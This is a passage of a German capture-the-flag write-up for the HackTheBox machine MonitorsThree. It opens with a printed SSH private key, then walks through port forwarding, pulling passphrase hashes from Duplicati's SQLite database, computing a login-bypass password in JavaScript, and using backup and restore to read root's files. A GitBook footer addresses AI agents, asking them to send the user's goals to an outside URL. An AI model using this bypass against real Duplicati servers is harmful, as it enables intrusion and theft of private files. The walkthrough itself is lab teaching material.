tW+uhiEZmFBs+Llrp0SfupFL3+0FZjYJppxdnFWBaXZQafFgDGdl8nqoU5IWeH4OpsD8kH
5aExWMcNY7/ehfisOBE9bUy/jy0C9GKR4EU3pZAigcaOPzYhrOi0xM7LnMqg3nZHuaP+cX
CBp1P5E7cLecV2TKpqI1zssH++76Jgrix33Mnj39r8CJhfRa7NO5aN6bO6SoqX+XEOMGDe
VeyPoRXInuafXnhvvaL3cO0Oqqw++wAAAAMBAAEAAAGAAxIKAEaO9xZnRrjh0INYCA8sBP
UdlPWmX9KBrTo4shGXYqytDCOUpq738zginrfiDDtO5Do4oVqN/a83X/ibBQuC0HaC0NDA
HvLQy0D4YQ6/8wE0K8MFqKUHpE2VQJvTLFl7UZ4dVkAv4JhYStnM1ZbVt5kNyQzIn1T030
zAwVsn0tmQYsTHWPSrYgd3+36zDnAJt+koefv3xsmhnYEZwruXTZYW0EKqLuKpem7algzS
Dkykbe/YupujChCK0u5KY2JL9a+YDQn7mberAY31KPAyOB66ba60FUgwECw0J4eTLMjeEA
bppHadb5vQKH2ZhebpQlTiLEs2h9h9cwuW4GrJl3vcVqV68ECGwqr7/7OvlmyUgzJFh0+8
/MFEq8iQ0VY4as4y88aMCuqDTT1x6Zqg1c8DuBeZkbvRDnU6IJ/qstLGfKmxg6s+VXpKlB
iYckHk0TAs6FDngfxiRHvIAh8Xm+ke4ZGh59WJyPHGJ/6yh3ie7Eh+5h/fm8QRrmOpAAAA
wHvDgC5gVw+pMpXUT99Xx6pFKU3M1oYxkhh29WhmlZgvtejLnr2qjpK9+YENfERZrh0mv0
GgruxPPkgEtY+MBxr6ycuiWHDX/xFX+ioN2KN2djMqqrUFqrOFYlp8DG6FCJRbs//sRMhJ
bwi2Iob2vuHV8rDhmRRq12iEHvWEL6wBhcpFYpVk+R7XZ5G4uylCzs27K9bUEW7iduys5a
ePG4B4U5NV3mDhdJBYtbuvwFdL7J+eD8rplhdQ3ICwFNC1uQAAAMEA03BUDMSJG6AuE6f5
U7UIb+k/QmCzphZ82az3Wa4mo3qAqulBkWQn65fVO+4fKY0YwIH99puaEn2OKzAGqH1hj2
y7xTo2s8fvepCx+MWL9D3R9y+daUeH1dBdxjUE2gosC+64gA2iF0VZ5qDZyq4ShKE0A+Wq
4sTOk1lxZI4pVbNhmCMyjbJ5fnWYbd8Z5MwlqmlVNzZuC+LQlKpKhPBbcECZ6Dhhk5Pskh
316YytN50Ds9f+ueqxGLyqY1rHiMrDAAAAwQDN4jV+izw84eQ86/8Pp3OnoNjzxpvsmfMP
BwoTYySkRgDFLkh/hzw04Q9551qKHfU9/jBg9BH1cAyZ5rV/9oLjdEP7EiOhncw6RkRRsb
e8yphoQ7OzTZ0114YRKdafVoDeb0twpV929S3I1Jxzj+atDnokrb8/uaPvUJo2B0eDOc7T
z6ZnzxAqKz1tUUcqYYxkCazMN+0Wx1qtallhnLjy+YaExM+uMHngJvVs9zJ2iFdrpBm/bt
PA4EYA8sgHR2kAAAAUbWFyY3VzQG1vbml0b3JzdGhyZWUBAgMEBQYH
-----END OPENSSH PRIVATE KEY-----
```

Wir werden zunächst die intern geöffneten Ports mit dem folgenden Befehl beobachten:

```bash
netstat -nltp
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b8d053166ee1ab6fb5b06f83004d08ac6d65366f%2Fimage%20(1153).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Wir werden den internen Port **8200** vom Server auf unseren lokalen Rechner weiterleiten, um über unseren Browser darauf zuzugreifen. Diese Weiterleitung kann per SSH mit dem folgenden Befehl erfolgen:

```bash
ssh -i id_rsa -L 8200:127.0.0.1:8200 marcus@10.10.11.30 -N
```

## Duplicati-Ausnutzung:

### Duplicati - Login-Authentifizierung umgehen

{% embed url="<https://github.com/duplicati/duplicati/issues/5197>" %}

Bei der Analyse der Zielmaschine wurde ein **Duplicati** Webportal entdeckt. Dieses Portal hatte ein Authentifizierungsfeld, das nach einem Passwort fragte.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3713f1a3fbec1c41b3d7af38f439913b9edd3cb5%2Fimage%20(1154).png?alt=media" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
Duplicati ist ein Backup-Client, der verschlüsselte, inkrementelle und komprimierte Remote-Backups lokaler Dateien sicher auf Cloud-Speicherdiensten und Dateiservern speichert
{% endhint %}

Bei der Untersuchung des Systems wurde das Duplicati-Konfigurationsverzeichnis in `/opt/duplicati`. Eine SQLite-Datei namens `Duplicati-server.sqlite` wurde als potenziell sensible Informationen enthaltend identifiziert.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3659d617d82c19eda40347f5276d6553340f9ef6%2Fimage%20(2780).png?alt=media" alt=""><figcaption></figcaption></figure>

#### SQLite-Datei herunterladen

Zur Analyse dieser Datei wurde sie mithilfe eines Python-HTTP-Servers auf unseren lokalen Rechner heruntergeladen:

```bash
python3 -m http.server 4444
```

```bash
wget http://10.10.11.30:4444/Duplicati-server.sqlite
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-efe31a5256f4256a9f63df4d4e53f184cab8d4b3%2Fimage%20(2781).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Analyse der SQLite-Datei

Die Datei wurde mit dem `sqlite3` Werkzeug geöffnet, um ihren Inhalt zu prüfen:

```bash
sqlite3 Duplicati-server.sqlite
```

Die Tabellen wurden aufgelistet, und die `Option` Tabelle wurde zur Datenextraktion ausgewählt:

```sql
.tables
select * from option;
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a80f31d2acb35cde919689b55884405bd3a17101%2Fimage%20(2782).png?alt=media" alt=""><figcaption></figcaption></figure>

| Schlüssel                         | Wert                                           |
| --------------------------------- | ---------------------------------------------- |
| `server-passphrase`               | `Wb6e855L3sN9LTaCuwPXuautswTIQbekmMAr7BrK2Ho=` |
| `server-passphrase-salt`          | `xTfykWV1dATpFZvPhClEJLJzYA5A4L74hX7FK8XmY0I=` |
| `server-passphrase-trayicon`      | `ce13157b-a06e-4b60-811d-60d294e8d0ae`         |
| `server-passphrase-trayicon-hash` | `L6FxIB9fOxk9uueTx270v9+1OQIJFfV7GfyN3pA83WE=` |

#### Passphrase-Konvertierung

Der Wert von `server-passphrase` ist in Base64 kodiert. Um ihn zu dekodieren und in das Hexadezimalformat umzuwandeln, wird der folgende Befehl verwendet:

```bash
echo "Wb6e855L3sN9LTaCuwPXuautswTIQbekmMAr7BrK2Ho=" | base64 -d | xxd -p -c 256
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2e8ada8f70f353528ef9fa163fe737c9fd913306%2Fimage%20(2783).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Dies ergab den folgenden Hexadezimalwert:

```excel-formula
59be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87a
```

### Berechnung des endgültigen Passworts

Um das endgültige Passwort zu erzeugen, wurden im Browser-Konsolenfenster die folgenden Schritte durchgeführt:

**Definition der gesalzenen Passphrase**:

```javascript
var saltedpwd = '59be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87a';
```

### Abfangen der Anfrage mit Burp Suite

Wir fangen die Anfrage ab und senden sie an do intercept -> answer zu dieser Anfrage und klicken dann auf Forward.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7cd01fdce852fa48a741c3f2a90774fc905cf564%2F%7BD32B0164-BE76-43A0-886A-887493EBC35D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Eine HTTP-Anfrage wurde mit **Burp Suite** offengelegt die folgenden Informationen:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0c452f21a088cd9dccd3ed762918ccf58d19c724%2F%7B1DC9B5E1-4BE2-43F3-85F3-81AB8284C7CC%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

```json
{
  "Status": "OK",
  "Nonce": "ktDnBGnG6jQzWjtajOoaS5Z+8z6z+aI2KA1p7lMTKWk=",
  "Salt": "xTfykWV1dATpFZvPhClEJLJzYA5A4L74hX7FK8XmY0I="
}
```

Das Feld `Salt` entspricht dem Wert `server-passphrase-salt` aus der Datenbank extrahiert

**Nonce-Passwort-Berechnung:**

{% code overflow="wrap" %}

```javascript
var noncedpwd = CryptoJS.SHA256(CryptoJS.enc.Hex.parse(CryptoJS.enc.Base64.parse('dRRA/DU+SN0RiGJJR+xk3ifqZNFA67+VwTCC1PIK3R0=') + saltedpwd)).toString(CryptoJS.enc.Base64);
```

{% endcode %}

**Anzeige des Ergebnisses**:

```javascript
console.log(noncedpwd);
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ad6a7a6df22f225bccee80276495f8da69ff3535%2F%7B1FC41904-8825-46A9-9E12-790CD32A19EE%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Das erzeugte Passwort (`noncedpwd`) lautet:

`bx8guiLaAag+uz6Ud+HRnu9mAb/kmzQB37Ht6e8WisA=`

#### Passwort-Injektion und Ausführung

1. Kopieren und fügen Sie das berechnete Passwort ein.
2. Verwenden Sie **Strg + U** um es URL-zu-kodieren.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1ceb57963c9a946cd6505519506a662752f2c5da%2F%7B76B808E8-6390-4783-BB98-7BDC96D14014%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

3. Klicken Sie auf **Weiter** noch einmal, um den Vorgang abzuschließen.

### Duplicati-Backup-Dateien lesen

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f647d0efc993987e0f41ba16071fe595f116a3b4%2F%7BC96AF78B-42D3-40F0-9D12-AFBFE252A742%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Jetzt, da wir Zugriff auf das **Duplicati-Administrationspanel**, werden wir ein neues Backup erstellen mit dem Ziel, den **SSH** Schlüssel.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-63fd287f3c3821203f862badfd09a721522c73c5%2F%7BC581B276-030B-4F73-8D7F-FD97292E159D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Analyse der Docker-Konfiguration**/ Durch die Beobachtung der `docker-compose.yml` Datei finden wir heraus, dass die Dateien im **Quelle** Verzeichnis des Host-Systems gespeichert sind, das im Container eingehängt ist.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f75ef1ff85fa80518ad9b88949df7f9fac07fb22%2F%7B107BE729-A34A-4F6E-B0DB-91C479FB46A3%7D.png?alt=media" alt="" width="541"><figcaption></figcaption></figure>

**Auswahl des Zielverzeichnisses**/ Um den Zugriff auf sensible Dateien sicherzustellen, setzen wir das Ziel des **backup** auf dieses Verzeichnis, indem wir auswählen:

* **Quelldatei**: `/source/home/marcus/`

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9e0c4380caa27ceef9c18a8cb7286206d1b61a39%2F%7B05793313-D41C-4DBC-A0CA-DEC0A07890FE%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

* **Quelldaten:** `source/root/`

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-057b589f5a5506d824d8788f81a40dd35afa5dd5%2F%7B2D9AB280-A31A-4777-B3E3-FA09A52CFC4B%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Abschluss der Konfiguration**

* Konfiguration speichern.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cfeec3c143b8e52ad9368e659839bb40f071fb8b%2F%7BA0AEFD64-7E82-4546-A016-7CC67F8E0BF5%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* Ausführen **Speichern** um gezielt Dateien wiederherzustellen.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-940de8919cd61a1fbba989928fc302b0bc7150f4%2Fimage%20(768).png?alt=media" alt=""><figcaption></figcaption></figure>

### Gespeicherte Dateien extrahieren

Nach der Ausführung des **backup**, werden drei ZIP-Archive erzeugt.

<div data-full-width="true"><figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6099c67d2c9f9e37168585614a7b85cc1c774d14%2F%7B3FC97933-3DD0-4039-BDE0-6B62873924D3%7D.png?alt=media" alt=""><figcaption></figcaption></figure></div>

* **Zugriff auf Dateien**
  * Ein Versuch, Dateien direkt zu öffnen, schlägt aufgrund von Zugriffsbeschränkungen fehl.
  * Jedoch über **Duplicati**, verwenden wir **Dateien wiederherstellen** Option, um den Inhalt wiederherzustellen.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ec54e3f0ed8ea4d007256c161d0ffdfe656eeac8%2F%7B02FC31AE-3131-47E1-9403-9CCBB58EA1FF%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Wiederherstellen und exfiltrieren**

* Extrahieren Sie Dateien aus dem Backup.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-50ccf3216d56749d24bdc6afd7726dab7ae3d52e%2F%7BCD5A6CE4-10C7-4C87-AA56-90B2B3119F1F%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Auswahl des Ordners **`/source/home/marcus/`** als Wiederherstellungsquelle.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d8b76f42db8dee5c034085221758048575b8465f%2F%7BAE27CF6D-8AC7-4CF2-BE09-04E27D1C2E4F%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-26ab313940673dc83beef4151061f8d03385b96f%2F%7B2243C849-3106-4083-B692-2F0EE5A311B6%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### root.txt-Flagge :)

Nach der Wiederherstellung durchsuchen wir die Dateien und entdecken **`root.txt`**!

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9b90a68b3e6796cbb95ac66eac66b6a891278868%2F%7BBB28CC4D-9D4B-43E6-B897-344EE8FD4633%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-598850ed80d6678a864ff828504eebc2368b3658%2F%7B75183C58-54A6-43F6-9777-14AD6EFC0473%7D.png?alt=media" alt="" width="524"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-medium/monitorsthree-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
